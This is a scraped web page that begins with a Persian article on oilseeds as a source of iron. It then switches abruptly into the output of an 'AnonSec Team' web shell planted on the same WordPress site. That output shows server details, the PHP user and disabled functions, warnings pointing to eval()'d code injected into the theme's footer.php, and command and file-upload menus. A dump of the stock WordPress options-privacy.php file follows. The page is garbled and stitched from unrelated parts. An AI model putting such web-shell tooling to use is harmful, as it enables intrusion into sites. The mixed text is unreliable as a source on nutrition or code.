انواع دانه های روغنی حاوی آهن

یکی از ویژگی های مثبت و قابل توجه برای انواع دانه های روغنی این است که حاوی مقادیر قابل توجهی آهن می باشد. آیا همه دانه های روغنی دارای آهن می باشند؟
به طور کلی برخی از ویتامین ها و مواد معدنی در بین عوام از اهمیت بیشتری برخوردار می شوند، شاید در بین مردن کسی پتاسیم و منیزیم را نشناسد و نداند این مواد چه تاثیری در بدن خواهند گذاشت، این در حالی است عموم افراد آهن و اثرات کمبود آن در بدن را به خوبی می شناسند.
شاید دلیل این موارد توجه بیش از حد به این گونه مواد می باشد، دانه های روغنی همواره به عنوان یکی از دسته های مهم مواد غذایی مورد توجه قرار می گیرند، این دانه ها که ترکیب اصلی آن ها چربی غیر اشباع شده می باشد، برای تامین بسیاری از نیاز های بدنی پیشنهاد می شوند.

انواع دانه های روغنی

دانه های روغنی و آهن موجود در آن

آهن یکی از مواد معدنی می باشد که برای رشد ذهنی افراد بسیار مفید است، همچنین مصرف آهن در جلوگیری از کم خونی نیز موثر می باشد، به طور کلی کمبود آهن باعث به وجود آمدن مشکلات عدیده ای خواهد شد، به همین دلیل است که پزشکان برای کسانی که کمبود آهن داشته باشند، داروی شیمیایی آن را تجویز می نمایند.
بسیاری از منابع از انواع دانه های روغنی به عنوان منبعی از آهن نام برده اند، دانه های روغنی همچون پسته، فندق، گردو و کنجد به راحتی می توانند آهن مورد نیاز بدن را فراهم کنند، ضمن این که این دانه های روغنی با داشتن اسید های چرب ضروری امگا در تقویت سیستم مغز و قلب و عروق کارساز خواهند بود.

ÿØÿà JFIF ÿþ; AnonSec Team
AnonSec Team
Server IP : 37.187.155.34  /  Your IP : 18.221.142.39
Web Server : LiteSpeed
System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : oilse103 ( 1565)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF
Directory (0755) :  /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/options-privacy.php
<?php
/**
 * Privacy Settings Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_privacy_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage privacy options on this site.' ) );
}

if ( isset( $_GET['tab'] ) && 'policyguide' === $_GET['tab'] ) {
	require_once __DIR__ . '/privacy-policy-guide.php';
	return;
}

// Used in the HTML title tag.
$title = __( 'Privacy' );

add_filter(
	'admin_body_class',
	static function ( $body_class ) {
		$body_class .= ' privacy-settings ';

		return $body_class;
	}
);

$action = isset( $_POST['action'] ) ? $_POST['action'] : '';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'The Privacy screen lets you either build a new privacy-policy page or choose one you already have to show.' ) . '</p>' .
				'<p>' . __( 'This screen includes suggestions to help you write your own privacy policy. However, it is your responsibility to use these resources correctly, to provide the information required by your privacy policy, and to keep this information current and accurate.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-privacy-screen/">Documentation on Privacy Settings</a>' ) . '</p>'
);

if ( ! empty( $action ) ) {
	check_admin_referer( $action );

	if ( 'set-privacy-page' === $action ) {
		$privacy_policy_page_id = isset( $_POST['page_for_privacy_policy'] ) ? (int) $_POST['page_for_privacy_policy'] : 0;
		update_option( 'wp_page_for_privacy_policy', $privacy_policy_page_id );

		$privacy_page_updated_message = __( 'Privacy Policy page updated successfully.' );

		if ( $privacy_policy_page_id ) {
			/*
			 * Don't always link to the menu customizer:
			 *
			 * - Unpublished pages can't be selected by default.
			 * - `WP_Customize_Nav_Menus::__construct()` checks the user's capabilities.
			 * - Themes might not "officially" support menus.
			 */
			if (
				'publish' === get_post_status( $privacy_policy_page_id )
				&& current_user_can( 'edit_theme_options' )
				&& current_theme_supports( 'menus' )
			) {
				$privacy_page_updated_message = sprintf(
					/* translators: %s: URL to Customizer -> Menus. */
					__( 'Privacy Policy page setting updated successfully. Remember to <a href="%s">update your menus</a>!' ),
					esc_url( add_query_arg( 'autofocus[panel]', 'nav_menus', admin_url( 'customize.php' ) ) )
				);
			}
		}

		add_settings_error( 'page_for_privacy_policy', 'page_for_privacy_policy', $privacy_page_updated_message, 'success' );
	} elseif ( 'create-privacy-page' === $action ) {

		if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';
		}

		$privacy_policy_page_content = WP_Privacy_Policy_Content::get_default_content();
		$privacy_policy_page_id      = wp_insert_post(
			array(
				'post_title'   => __( 'Privacy Policy' ),
				'post_status'  => 'draft',
				'post_type'    => 'page',
				'post_content' => $privacy_policy_page_content,
			),
			true
		);

		if ( is_wp_error( $privacy_policy_page_id ) ) {
			add_settings_error(
				'page_for_privacy_policy',
				'page_for_privacy_policy',
				__( 'Unable to create a Privacy Policy page.' ),
				'error'
			);
		} else {
			update_option( 'wp_page_for_privacy_policy', $privacy_policy_page_id );

			wp_redirect( admin_url( 'post.php?post=' . $privacy_policy_page_id . '&action=edit' ) );
			exit;
		}
	}
}

// If a Privacy Policy page ID is available, make sure the page actually exists. If not, display an error.
$privacy_policy_page_exists = false;
$privacy_policy_page_id     = (int) get_option( 'wp_page_for_privacy_policy' );

if ( ! empty( $privacy_policy_page_id ) ) {

	$privacy_policy_page = get_post( $privacy_policy_page_id );

	if ( ! $privacy_policy_page instanceof WP_Post ) {
		add_settings_error(
			'page_for_privacy_policy',
			'page_for_privacy_policy',
			__( 'The currently selected Privacy Policy page does not exist. Please create or select a new page.' ),
			'error'
		);
	} else {
		if ( 'trash' === $privacy_policy_page->post_status ) {
			add_settings_error(
				'page_for_privacy_policy',
				'page_for_privacy_policy',
				sprintf(
					/* translators: %s: URL to Pages Trash. */
					__( 'The currently selected Privacy Policy page is in the Trash. Please create or select a new Privacy Policy page or <a href="%s">restore the current page</a>.' ),
					'edit.php?post_status=trash&post_type=page'
				),
				'error'
			);
		} else {
			$privacy_policy_page_exists = true;
		}
	}
}

$parent_file = 'options-general.php';

wp_enqueue_script( 'privacy-tools' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>
<div class="privacy-settings-header">
	<div class="privacy-settings-title-section">
		<h1>
			<?php _e( 'Privacy' ); ?>
		</h1>
	</div>

	<nav class="privacy-settings-tabs-wrapper hide-if-no-js" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<a href="<?php echo esc_url( admin_url( 'options-privacy.php' ) ); ?>" class="privacy-settings-tab active" aria-current="true">
			<?php
			/* translators: Tab heading for Site Health Status page. */
			_ex( 'Settings', 'Privacy Settings' );
			?>
		</a>

		<a href="<?php echo esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) ); ?>" class="privacy-settings-tab">
			<?php
			/* translators: Tab heading for Site Health Status page. */
			_ex( 'Policy Guide', 'Privacy Settings' );
			?>
		</a>
	</nav>
</div>

<hr class="wp-header-end">

<?php
wp_admin_notice(
	__( 'The Privacy Settings require JavaScript.' ),
	array(
		'type'               => 'error',
		'additional_classes' => array( 'hide-if-js' ),
	)
);
?>

<div class="privacy-settings-body hide-if-no-js">
	<h2><?php _e( 'Privacy Settings' ); ?></h2>
	<p>
		<?php _e( 'As a website owner, you may need to follow national or international privacy laws. For example, you may need to create and display a privacy policy.' ); ?>
		<?php _e( 'If you already have a Privacy Policy page, please select it below. If not, please create one.' ); ?>
	</p>
	<p>
		<?php _e( 'The new page will include help and suggestions for your privacy policy.' ); ?>
		<?php _e( 'However, it is your responsibility to use those resources correctly, to provide the information that your privacy policy requires, and to keep that information current and accurate.' ); ?>
	</p>
	<p>
		<?php _e( 'After your Privacy Policy page is set, you should edit it.' ); ?>
		<?php _e( 'You should also review your privacy policy from time to time, especially after installing or updating any themes or plugins. There may be changes or new suggested information for you to consider adding to your policy.' ); ?>
	</p>
	<p>
		<?php
		if ( $privacy_policy_page_exists ) {
			$edit_href = add_query_arg(
				array(
					'post'   => $privacy_policy_page_id,
					'action' => 'edit',
				),
				admin_url( 'post.php' )
			);
			$view_href = get_permalink( $privacy_policy_page_id );
			?>
				<strong>
				<?php
				if ( 'publish' === get_post_status( $privacy_policy_page_id ) ) {
					printf(
						/* translators: 1: URL to edit Privacy Policy page, 2: URL to view Privacy Policy page. */
						__( '<a href="%1$s">Edit</a> or <a href="%2$s">view</a> your Privacy Policy page content.' ),
						esc_url( $edit_href ),
						esc_url( $view_href )
					);
				} else {
					printf(
						/* translators: 1: URL to edit Privacy Policy page, 2: URL to preview Privacy Policy page. */
						__( '<a href="%1$s">Edit</a> or <a href="%2$s">preview</a> your Privacy Policy page content.' ),
						esc_url( $edit_href ),
						esc_url( $view_href )
					);
				}
				?>
				</strong>
			<?php
		}
		printf(
			/* translators: 1: Privacy Policy guide URL, 2: Additional link attributes, 3: Accessibility text. */
			__( 'Need help putting together your new Privacy Policy page? <a href="%1$s" %2$s>Check out our privacy policy guide%3$s</a> for recommendations on what content to include, along with policies suggested by your plugins and theme.' ),
			esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) ),
			'',
			''
		);
		?>
	</p>
	<hr>
	<?php
	$has_pages = (bool) get_posts(
		array(
			'post_type'      => 'page',
			'posts_per_page' => 1,
			'post_status'    => array(
				'publish',
				'draft',
			),
		)
	);
	?>
	<table class="form-table tools-privacy-policy-page" role="presentation">
		<tr>
			<th scope="row">
				<label for="create-page">
				<?php
				if ( $has_pages ) {
					_e( 'Create a new Privacy Policy page' );
				} else {
					_e( 'There are no pages.' );
				}
				?>
				</label>
			</th>
			<td>
				<form class="wp-create-privacy-page" method="post">
					<input type="hidden" name="action" value="create-privacy-page" />
					<?php
					wp_nonce_field( 'create-privacy-page' );
					submit_button( __( 'Create' ), 'secondary', 'submit', false, array( 'id' => 'create-page' ) );
					?>
				</form>
			</td>
		</tr>
		<?php if ( $has_pages ) : ?>
		<tr>
			<th scope="row">
				<label for="page_for_privacy_policy">
					<?php
					if ( $privacy_policy_page_exists ) {
						_e( 'Change your Privacy Policy page' );
					} else {
						_e( 'Select a Privacy Policy page' );
					}
					?>
				</label>
			</th>
			<td>
				<form method="post">
					<input type="hidden" name="action" value="set-privacy-page" />
					<?php
					wp_dropdown_pages(
						array(
							'name'              => 'page_for_privacy_policy',
							'show_option_none'  => __( '&mdash; Select &mdash;' ),
							'option_none_value' => '0',
							'selected'          => $privacy_policy_page_id,
							'post_status'       => array( 'draft', 'publish' ),
						)
					);

					wp_nonce_field( 'set-privacy-page' );

					submit_button( __( 'Use This Page' ), 'primary', 'submit', false, array( 'id' => 'set-page' ) );
					?>
				</form>
			</td>
		</tr>
		<?php endif; ?>
	</table>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php';

AnonSec - 2021